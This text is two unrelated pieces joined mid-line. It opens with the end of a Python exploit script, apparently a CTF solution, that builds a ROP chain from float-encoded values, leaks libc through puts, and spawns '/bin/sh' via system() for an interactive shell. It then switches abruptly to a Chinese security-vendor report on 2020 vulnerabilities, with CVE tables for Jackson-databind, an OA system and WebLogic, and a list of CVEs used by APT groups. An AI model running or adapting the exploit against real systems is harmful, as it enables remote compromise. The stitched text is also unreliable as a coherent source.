0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,
#1,2,3,0xcd,0xee,0xff,0x5,6,7,8,9,2,2,2,2,2,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1]
for i in range(len(val_list)):
arrays[14 * 16 + 5 + i] = val_list[i]
io.read_until(" : ")
io.writeline(str(16))
io.read_until(" : ")
io.writeline(str(16))
io.read_until(" :")
payload = ""
for item in arrays:
payload += str(item) + ","
io.writeline(payload[:-1])
io.read_until("This is your result")
io.read_until("0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,nn")
return
def pwn(io):
#offset info
if is_local:
#local
offset_puts = 0x6f690
offset_system = 0x45390
else:
#remote
offset_system = 0x45800
offset_puts = 0x70a90
p_rdi_ret_val = -2.07582817451185170402836984431807e-317
puts_got_val = -3.11447916067854977526319411883167e-317
puts_plt_val = -2.07357375296987809604729216091621e-317
#puts_got -8
puts_got_8_val = -3.11447520815338304529084070628132e-317
main_addr_val = -2.07424074159176377888193052878658e-317
show_info_val = -2.07415428010374156073669962924783e-317
get_buff_val = -2.07396357076444683957064747369378e-317
val_list = []
val_list.append(p_rdi_ret_val)
val_list.append(puts_got_val)
val_list.append(puts_plt_val)
val_list.append(main_addr_val)
"""
p_rdi_ret = 0x0000000000401c33
puts_plt = 0x0000000000400a60
p_rsi_r15_ret = 0x0000000000401c31
get_buff_addr = 0x400D75
puts_got = 0x0000000000603020
"""
pwn_with_array(io, val_list)
data = io.read(6)+"x00"*2
print repr(data)
puts_addr = l64(data)
libc_base = puts_addr - offset_puts
system_addr = libc_base + offset_system
print hex(libc_base)
print hex(system_addr)
val_list = []
val_list.append(p_rdi_ret_val)
val_list.append(puts_got_8_val)
val_list.append(get_buff_val)
val_list.append(p_rdi_ret_val)
val_list.append(puts_got_8_val)
val_list.append(puts_plt_val)
pwn_with_array(io, val_list)
io.writeline("/bin/shx00" + l64(system_addr))
io.interact()
io = get_io(target)
pwn(io)
flag如下： | 社区文章 |
**作者：深信服千里目安全实验室
原文链接：<https://mp.weixin.qq.com/s/gIEPvwBE61axZfhBbB9aiw>**
## **前言**
刚刚过去的2020年以极具戏剧性的开场和魔幻现实主义的中章，给传统行业当头一棒，疫情的延伸早已超出了绝大部分人的预料。传统行业被迫转型；企业被迫选择线上办公；学校被迫开设网课。在经济体系运作如此困难的情况下，互联网行业在整个市场却占据更稳定的位置，互联网行业飞速发展的同时也带来了前所未有的网络安全挑战。
热爱网络安全的年轻人们，经历了停工、停学，却从未停下漏洞研究的脚步，据统计，2020年新增20086条漏洞信息（来源于cnvd），相较于2019年，漏洞环比增长125.1%。
产品是由人研发出来的，研发人员能力参差不齐导致漏洞这一话题永不过时。随着漏洞喷涌式爆发，企业越来越感到麻木，在经过一次又一次的实战演练的磨练，企业IT部门也开始接受两个重要的观点：
**1、资产梳理才是重中之重，围绕资产匹配的安全能力才是刚需，覆盖漏洞的数量不是唯一的考核标准。**
**2、安全即将变成一种文化，不管是在开发还是在日常办公都需具备较强的安全意识。**
在这个大趋势下，安全厂商持续洞察用户需求同时也总结了一个重要的观点：每年都会爆发出成千上万的漏洞，这里面到底哪些可以给客户造成危害，针对这类漏洞如何做到精准覆盖和快速响应才是安全厂商需要持续思考的问题。
2016年-2020年，深信服千里目安全实验室持续紧跟国内外漏洞威胁情报，从中筛选出能给客户带来威胁的漏洞，第一时间推送解决方案，持续提供可感知的安全感。
在这场永不停歇的攻防战争中，深信服千里目安全实验掌握一手漏洞情报，始终坚持“千里之外，洞悉风险”，与各大网络安全厂商一同维护网络安全，构建平衡、和谐的网络生态系统。
《漏洞威胁分析报告》，深信服千里目安全实验室第一次从围绕”不同视角下的漏洞威胁”和“深信服漏洞闭环体系建设”两个方面，基于深信服安全服务和安全云脑的基础数据中心结合深信服威胁对抗指挥中心的能力中台针对2020年漏洞爆发情况进行回顾，分析2020年高危漏洞，反思漏洞威胁应对措施，为企业提供可靠且具针对性的安全建议。
# **上册：不同视角下的漏洞威胁**
国内外安全事件频发，报告上册围绕基于深信服安全服务和安全云脑的基础数据中心结合深信服威胁对抗指挥中心的能力中台针对2020年漏洞爆发情况进行回顾，通过深信服的基础数据关联模型，思考漏洞威胁闭环体系。
## 1.企业资产视角下的漏洞威胁
2020年全年，深信服安全服务团队长期为政府、金融、互联网、教育、通信、医疗、交通、能源等多个行业数千个企业提供安全服务，再结合深信服独有安全云脑的基础数据进行分析，从企业资产的视角，呈现出面对企业最重要的漏洞威胁情况。
**企业资产的漏洞威胁情况**
回顾安全服务结合安全云脑的基础数据进行聚类统计的数据可以明显看出，企业资产所面临的的可利用漏洞威胁依旧是定制化业务为主，占比高达70.7%；剩下的威胁主要来源于组件漏洞，占比29.3%。
**组件漏洞的快速响应依旧是值得企业关注的重点**
从深信服千里目安全实验室2016-2020年通告数据可以看出，由于攻防竞赛理念的逐步普及，企业也逐步接受并需要针对自己资产的紧急漏洞通告，从最开始不清楚自己使用的哪些组件，逐步演变到对自己使用的组件和版本了如指掌，并持续聚焦最新的可利用漏洞提升优先级处理闭环。
从攻击者的视角来看，一般攻击者在收集好客户的资产后会进行一些基本的探测（包括指纹识别，敏感路径探测，登录测试等），探测到需要的信息后会尝试一击命中，比如针对指纹识别到的组件，选择这个组件的已知的可利用的漏洞可以减少Fuzz所带来的的巨大动静，减少被安全产品感知或者防御的概率，提高攻击成功率。
**这类组件主要有两个特点：**
1、组件相对容易获取到，导致研究组件漏洞的安全研究人员很多；
2、这类组件经历了多年的安全研究人员挖掘，相对来说安全性会高一些，但一旦高危漏洞爆发，将会影响大量企业。
攻防就是一个博弈的过程，攻击者基于客户所使用的组件不断地挖掘并利用漏洞，防御者不断识别攻击者的研究方向，制定解决方案。2020年深信服千里目安全实验室跟踪高危漏洞250余个。其中代码执行占比最高，达52%！下图中的其他包含XML外部实体注入、安全绕过、提权、XSS、认证绕过、反序列化、缓冲区溢出、命令注入、目录遍历、目录穿越、权限绕过、认证绕过、容器逃逸和错误访问控制。
上述漏洞涉及130余个重点组件（累计180个组件），从组件维度来看，今年的紧急漏洞依旧聚焦在服务器类、工具类和框架类型的组件，中间件、CMS组件漏洞数量略有下降，2020年最“火”的组件Top3为FasterXML、某OA和WebLogic。
在2020年漏洞中我们清楚看到，FasterXML漏洞以34个位列榜首；某OA漏洞以20个，最后WebLogic以漏洞19排名第三。深信服千里目安全实验室将重点分析上述三个组件。
##### FasterXML
**（1）组件介绍**
FasterXML Jackson是美国FasterXML公司的一款适用于Java的数据处理工具。Jackson-databind是其中的一个具有数据绑定功能的组件。Jackson-databind可以将Java对象转换成json对象，同样也可以将json转换成Java对象。
**（2）组件分布**
根据全网数据统计，使用fasterxml jackson-databind的网站多达30万余，其中大部分集中在美国，而中国的使用量排在第二位。其中浙江、北京、广东、广西四省市使用量最高。通过网络空间搜索引擎的数据统计和柱状图表，如下图所示。
**（3）漏洞介绍**
漏洞名称 | 漏洞ID | 影响版本 | 危害等级
---|---|---|---
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-8840 | Fasterxml Jackson-databind < 2.9.10.2 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-9547 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-9548 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind服务请求伪造漏洞 | CVE-2020-10969 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | 无 | Fasterxml Jackson-databind < 2.9.10.4
| 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-10650 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | 无 | Fasterxml Jackson-databind < 2.9.10.4
| 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-10672 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-10673 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-10968 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-11111 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-11112 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-11113 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind服务请求伪造漏洞 | CVE-2020-11619 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-11620 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-14060 | Fasterxml Jackson-databind < 2.9.10.5 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-14061 | Fasterxml Jackson-databind < 2.9.10.5 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-14062 | Fasterxml Jackson-databind < 2.9.10.5 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-14195 | Fasterxml Jackson-databind < 2.9.10.5 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-24750 | Fasterxml Jackson-databind < 2.9.10.6 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-24616 | Fasterxml Jackson-databind < 2.9.10.6 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | 无 | Fasterxml Jackson-databind < 2.9.10.6
| 高危
Fasterxml Jackson-databind远程代码执行漏洞 | 无 | Fasterxml Jackson-databind < 2.9.10.6
| 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-35490 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-35491 | Fasterxml Jackson-databind < 2.9.10.8 | 更新
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36179 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36180 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36181 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36182 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36183 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36184 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36185 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36186 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36187 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36188 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36189 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-35728 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
上述表中记录的漏洞是2020年FasterXML官方披露的漏洞，并且不需要任何二次开发与复杂的配置，仅仅需要用户使用的组件或者框架集成了上述版本的fasterxml
jackson-databind，并且配置了enableDefaultTyping即可。攻击者通过用户暴露出的fasterxml Jackson-databind序列化接口，发送精心构造恶意流量，恶意数据在服务器上先进行反序列化操作，再进行序列化操作（如果在属性JavaBean对应的get方法中出现问题则需要再次进行序列化操作）时执行任意代码。
2020年FasterXML Jackson-databind 爆发的漏洞依然是：利用FasterXML Jackson-databind与第三方类库相结合，攻击者可以通过FasterXML Jackson-databind的反序列化功能，执行第三方库中的方法，进行JNDI注入攻击。攻击方式与以往相同。在FasterXML Jackson-databind最新版本中，将会使用新的方式对Java反序列化漏洞的进行修复。****预计2020年之后，FasterXML Jackson-databind的Java反序列化漏洞数量将会降低。
##### 某OA系统
**（1）组件介绍**
OA为各行业不同规模的众多用户提供信息化管理能力，包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等，帮助广大用户降低沟通和管理成本，提升生产和决策效率。该系统采用领先的B/S(浏览器/服务器)操作方式，使得网络办公不受地域限。
**（2）组件分布**
以某OA系统为例，其主要应用范围在国内，根据全网数据统计，使用某OA系统的网站数有近3万。其中广东、湖北、北京三省市使用量最高。通过网络空间搜索引擎数据统计得到的柱状图表如下图所示。
**（3）漏洞介绍**
漏洞名称 | 影响版本 | 危害等级
---|---|---
某OA文件上传结合本地文件包含RCE | 某OA V11 < V11.4 | 高危
某OA任意用户登录 | 某OA < V11.5 | 高危
某OA 2015-2017后台任意文件上传（一） | 某OA 2015 - 2017 | 中危
某OA 2015-2017后台文件包含（一） | 某OA 2015 - 2017 | 中危
某OA 2015-2017后台文件包含（二） | 某OA 2015 - 2017 | 中危
某OA 2015-2017后台任意文件上传（二） | 某OA 2015 - 2017 | 中危
某OA 2015-2017后台任意文件删除 | 某OA 2015 - 2017 | 中危
某OA 未授权任意文件删除 | 某OA V11.6 | 高危
某OA 后台任意文件上传 | 某OA < V11.7 | 中危
某OA 后台SQL注入 | 某OA < V11.6 | 中危
某OA 后台SQL注入 | 某OA < V11.6 | 中危
某OA 后台SQL注入 | 某OA < V11.7 | 中危
某OA 后台SQL注入 | 某OA < V11.7 | 中危
某OA 未授权SQL注入 | 某OA V11 < V11.6 | 高危
某OA 后台SQL注入 | 某 < V11.6 | 中危
某OA 后台SQL注入 | 某 < V11.6 | 中危
某OA 后台SQL注入 | 某 <= V11.7 | 中危
上述表中主要记录了2020年所披露的某OA相关漏洞，按时间先后排序。对上述表进行分析，从漏洞利用权限上来看，主要为后台漏洞，大部分需要普通用户权限；从漏洞类型来看，主要为SQL注入漏洞和文件上传漏洞；从漏洞高可利用性来看，文件上传结合本地文件包含漏洞、任意用户登录漏洞相对热门。但纵观来看，可直接未授权GetShell的漏洞较少，基本上需要先结合未授权注入或任意用户登录提升权限后再利用后台漏洞GetShell。
相比2020年之前的漏洞，2020年未授权的高可利用漏洞较少，往后台权限漏洞类型靠拢。2020年之后，可能主要以后台漏洞披露为主，但也不排除未授权高危漏洞出现的可能性。
##### WebLogic
**（1）组件介绍**
WebLogic是美国Oracle公司出品的一个application
server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
将Java的动态功能和Java
Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。WebLogic是商业市场上主要的Java（J2EE）应用服务器软件（application
server）之一，是世界上第一个成功商业化的J2EE应用服务器，具有可扩展性，快速开发，灵活，可靠性等优势。
**（2）组件分布**
根据全网数据统计，使用WebLogic的网站多达30万余，其中大部分集中在美国，而中国的使用量排在第三位。其中北京、广东、上海三省市使用量最高。通过网络空间搜索引擎的数据统计和柱状图表，如下图所示。
**（3）漏洞介绍**
漏洞名称 | 漏洞ID | 影响版本 | 危害等级
---|---|---|---
WebLogic安全漏洞 | CVE-2020-2550 | WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic
12.2.1.3.0WebLogic 12.2.1.4.0 | 低危
WebLogic远程代码执行漏洞 | CVE-2020-2551 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0 | 高危
WebLogic安全漏洞 | CVE-2020-6950 | WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0 | 中危
WebLogic安全漏洞 | CVE-2020-2544 | WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic
12.2.1.3.0WebLogic 12.2.1.4.0 | 低危
WebLogic安全漏洞 | CVE-2020-2547 | WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic
12.2.1.3.0WebLogic 12.2.1.4.0 | 低危
WebLogic安全漏洞 | CVE-2020-2519 | WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic
12.2.1.3.0WebLogic 12.2.1.4.0 | 低危
WebLogic远程代码执行漏洞 | CVE-2020-2883 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0 | 高危
WebLogic远程代码执行漏洞 | CVE-2020-2884 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0 | 低危
WebLogic安全漏洞 | CVE-2020-2869 | WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic
12.2.1.3.0WebLogic 12.2.1.4.0 | 低危
WebLogic安全漏洞 | CVE-2020-2766 | WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic
12.2.1.3.0WebLogic 12.2.1.4.0 | 低危
WebLogic远程代码执行漏洞 | CVE-2020-2801 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0 | 高危
WebLogic远程代码执行漏洞 | CVE-2020-2867 | WebLogic 12.1.3.0.0WebLogic
12.2.1.3.0WebLogic 12.2.1.4.0 | 高危
WebLogic安全漏洞 | CVE-2020-2811 | WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic
12.2.1.3.0WebLogic 12.2.1.4.0 | 中危
WebLogic远程代码执行漏洞 | CVE-2020-2798 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0 | 高危
WebLogic安全漏洞 | CVE-2020-2967 | WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic
12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 高危
WebLogic安全漏洞 | CVE-2020-14588 | WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic
12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 高危
WebLogic安全漏洞 | CVE-2020-14589 | WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic
12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 中危
WebLogic远程代码执行漏洞 | CVE-2020-14687 | WebLogic 12.2.1.3.0WebLogic
12.2.1.4.0WebLogic 14.1.1.0.0 | 高危
WebLogic安全漏洞 | CVE-2020-14622 | WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic
12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 低危
WebLogic安全漏洞 | CVE-2020-2966 | WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic
12.2.1.3.0WebLogic 12.2.1.4.0 | 低危
WebLogic远程代码执行漏洞 | CVE-2020-14625 | WebLogic 12.2.1.3.0WebLogic
12.2.1.4.0WebLogic 14.1.1.0.0 | 高危
WebLogic安全漏洞 | CVE-2020-14572 | WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic
12.2.1.3.0WebLogic 12.2.1.4.0 | 中危
WebLogic安全漏洞 | CVE-2020-14652 | WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic
12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 中危
WebLogic远程代码执行漏洞 | CVE-2020-14645 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 高危
WebLogic安全漏洞 | CVE-2020-14557 | WebLogic 12.1.3.0.0WebLogic 12.2.1.3.0WebLogic
12.2.1.4.0WebLogic 14.1.1.0.0 | 中危
WebLogic远程代码执行漏洞 | CVE-2020-14644 | WebLogic 12.2.1.3.0WebLogic
12.2.1.4.0WebLogic 14.1.1.0.0 | 高危
WebLogic远程代码执行漏洞 | CVE-2020-14841 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 高危
WebLogic远程代码执行漏洞 | CVE-2020-14825 | WebLogic 12.2.1.3.0WebLogic
12.2.1.4.0WebLogic 14.1.1.0.0 | 高危
WebLogic远程代码执行漏洞 | CVE-2020-14859 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 高危
WebLogic安全漏洞 | CVE-2020-14757 | WebLogic 12.2.1.3.0 | 中危
WebLogic安全漏洞 | CVE-2020-14820 | WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic
12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 中危
WebLogic安全漏洞 | CVE-2020-14883 | WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic
12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 高危
WebLogic远程代码执行漏洞 | CVE-2020-14882 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 高危
上述表中记录的漏洞是2020年Oracle官方披露的WebLogic漏洞，攻击者通过向服务器发送精心构造恶意序列化数据，当服务器进行反序列化，解析序列化数据时，触发Java反序列化漏洞，造成执行任意代码。
比起2020年之前的漏洞，2020年新增了IIOP协议的JAVA反序列化利用方式，也增加了Coherence组件中Extractor系列漏洞。这两类漏洞的出现也体现了黑名单防御机制的局限性。2020年之后，可能依旧会出现利用其他WebLogic内部组件构造新的gadget进行漏洞利用。
### 定制化业务依旧是最常见被攻破的目标
回顾全年数据，在被抽样的企业所对应的基础数据中，涉及200+定制化业务系统，漏洞安全威胁数量达数百个。其中，高风险系统占比高达61.3%！中风险与低风险系统占比基本持平。
从漏洞类型来看，信息泄漏漏洞和业务逻辑漏洞是出现频率最高的漏洞类型，占到全年Web漏洞总数的41.9%；此外XSS、未授权访问漏洞分别占比7.9%和6.3%。
信息泄露漏洞、业务逻辑漏洞（包含但不仅限于暴力破解、用户名穷举、任意密码重置、任意用户\企业注册、验证码固定、图形码可重复利用、支付\退款逻辑漏洞）、弱口令，在本次调研分别占比24.4%、17.4%、11.4%，属于高发漏洞类型，但受业务系统的重要程度、部署位置等影响，危害等级没有明显规律。企业在日常管理中，仍需加强巡检，结合定期漏洞扫描和必要的渗透测试及时发现修补此类漏洞。
从漏洞严重维度来看，严重与高危漏洞占比高达41%，中危漏洞占比21%，其中漏洞造成严重影响的依旧是SQL注入、命令注入和代码注入漏洞。
SQL注入即通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。攻击者利用SQL注入漏洞，可以获取数据库中的多种信息(例如：管理员后台密码)，从而脱取数据库中内容(脱库)。在特别情况下，还可以修改数据库内容或者插入内容到数据库，如果数据库权限分配存在问题，或者数据库本身存在缺陷，那么攻击者可以通过SQL注入漏洞直接获取Webshell或者服务器系统权限。在本次抽样调查中，有87.5%的SQL注入漏洞被判定为高危。近几年安全水平整体有较大的提升，总体上SQL注入漏洞发生频率有所减少，本次抽样中占比4.3%，虽此漏洞数量呈下降趋势，但还是一个有力杀器，各企业仍需加以重视。
命令注入是一种攻击，其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令。在此攻击中，攻击者提供的操作系统命令通常以易受攻击的应用程序的权限执行。成功利用此漏洞会造成：执行未经授权的代码或命令；DoS：崩溃，退出或重新启动；读取/修改文件或目录；读取应用数据；修改申请数据等。代码注入是用户通过提交执行命令，由于服务器对用户的输入没有过滤或者过滤不严导致非预期的代码被执行。命令注入成功和代码注入成功都可能导致数据完整性丧失、机密性丧失，因为注入的代码数据始终与数据调用或写入有关。此外，代码注入通常可以导致执行任意代码。代码注入与命令注入的不同之处在于，攻击者仅受注入语言本身的功能的限制。如果攻击者能够将PHP代码注入到应用程序中并执行该代码，则它们仅受PHP能力的限制。命令注入包括利用现有代码来执行命令，通常是在shell上下文中执行。代码注入和命令注入类漏洞一旦出现，大概率危害重大，在此次抽样调查的数据中，89.5%的代码注入和命令注入漏洞被判定为高危漏洞，73.7%为公开已知漏洞，三四年过去，MS17-010仍然受到攻击者青睐，在本次调查样本中仍有一席之地。好在近年对于那些威胁程度较高的漏洞类型，安全人员已将其控制在较低出现频率，代码注入和命令注入仅占比2.5%。
深信服千里目安全实验室建议，除必要的渗透测试外，企业还应该定期整理资产，同时提升员工安全意识
，将安全即将变成一种文化，不管是在开发还是在日常办公都需具备较强的安全意识。 关注最新安全动态，及时更新相关系统，修复相关漏洞。
## 2.APT视角下的漏洞威胁
漏洞是发起APT攻击的重要武器之一，本节要从漏洞角度阐述漏洞在APT攻击各阶段的作用及漏洞利用趋势，为研究APT攻击提供更好的洞察。
2020年度深信服千里目安全实验室监测到的热门APT组织使用的热门漏洞约33个，涉及网络设备漏洞、系统漏洞、文件漏洞、浏览器漏洞、数据库漏洞、应用程序漏洞、邮件服务器漏洞等7种类型，关联APT组织11个。
2020年度，深信服千里目安全实验室监测到的热门APT组织主要在APT攻击的初始打点（Initial Access）阶段和权限提升（Privilege
Escalation）阶段利用漏洞开展攻击，具体利用情况总结概述如下：
（1）在初始打点（Initial
Access）阶段利用的漏洞包括：CVE-2019-11510、CVE-2019-19781、CVE-2020-5902、CVE-2019-10149、CVE-2020-2021、CVE-2020-1631、CVE-2019-1652、CVE-2019-1653、CVE-2020-10189、CVE-2020-8218、CVE-2018-13379、CVE-2019-1579、CVE-2020-15505、CVE-2020-5135、CVE-2020-0688、CVE-2019-2390、CVE-2019-6110、CVE-2019-6109、CVE-2018-20685、CVE-2019-1367、CVE-2020-1380、CVE-2020-0674、CVE-2020-0968、CVE-2019-17026、CVE-2017-11882、CVE-2017-0261、CVE-2017-0199、CVE-2018-0798及CVE-2012-0158等29个漏洞。本阶段内利用漏洞开展攻击的技术对应于MITRE
ATT&CK技巧编号：T1190、T1566.001及T1566.003；
（2）在权限提升（Privilege
Escalation）阶段利用的漏洞包括：CVE-2020-0986、CVE-2019-0808、CVE-2016-7255及CVE-2020-1472等4个。本阶段内利用漏洞开展攻击的技术对应于MITRE
ATT&CK技巧编号为T1068。
## 漏洞在APT攻击中的具体使用情况
**（1）初始打点（Initial Access）阶段**
在初始打点（Initial
Access）阶段，APT攻击者主要利用面向互联网的基础设施中遗留的一些漏洞进行攻击，以此获取对系统的初始访问权限，主要采用的攻击技术包括Exploit
Public-Facing Application和External Remote Services[MITRE ATT&CK]。
综合各方面的信息，本年度内APT攻击者在初始打点（Initial Access）阶段利用漏洞的情况简要汇总如下表所示。
战术 | 漏洞编号 | 漏洞类型 | 攻击策略 | APT组织
---|---|---|---|---
T1190 | CVE-2019-11510 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | Pioneer Kitten
T1190 | CVE-2019-19781 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | Pioneer Kitten
T1190 | CVE-2020-5902 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | Pioneer Kitten
T1190 | CVE-2019-10149 | 邮件服务器漏洞 | 攻击公开暴露应用并植入后门 | Hade
T1190 | CVE-2020-2021 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | NA
T1190 | CVE-2020-1631 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | NA
T1190 | CVE-2019-1652 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | APT41
T1190 | CVE-2019-1653 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | APT41
T1190 | CVE-2020-10189 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | APT41
T1190 | CVE-2020-8218 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | NA
T1190 | CVE-2018-13379 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | NA
T1190 | CVE-2019-1579 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | NA
T1190 | CVE-2020-15505 | 应用程序漏洞 | 攻击公开暴露应用并植入后门 | NA
T1190 | CVE-2020-5135 | 网络设备漏洞 | 攻击公开暴露应用并植入后门 | NA
T1190 | CVE-2020-0688 | 邮件服务器漏洞 | 攻击公开暴露应用并植入后门 | NA
T1190 | CVE-2019-2390 | 数据库漏洞 | 攻击公开暴露应用并植入后门 | NA
T1190 | CVE-2019-6110 | 系统漏洞 | 攻击公开暴露应用并植入后门 | NA
T1190 | CVE-2019-6109 | 系统漏洞 | 攻击公开暴露应用并植入后门 | NA
T1190 | CVE-2018-20685 | 系统漏洞 | 攻击公开暴露应用并植入后门 | NA
T1566.003 | CVE-2019-1367 | 浏览器漏洞 | 结合社会工程学进行水坑攻击 | DarkHotel
T1566.003 | CVE-2020-1380 | 浏览器漏洞 | 结合社会工程学进行水坑攻击 | DarkHotel
T1566.003 | CVE-2020-0674 | 浏览器漏洞 | 结合社会工程学进行水坑攻击 | DarkHotel
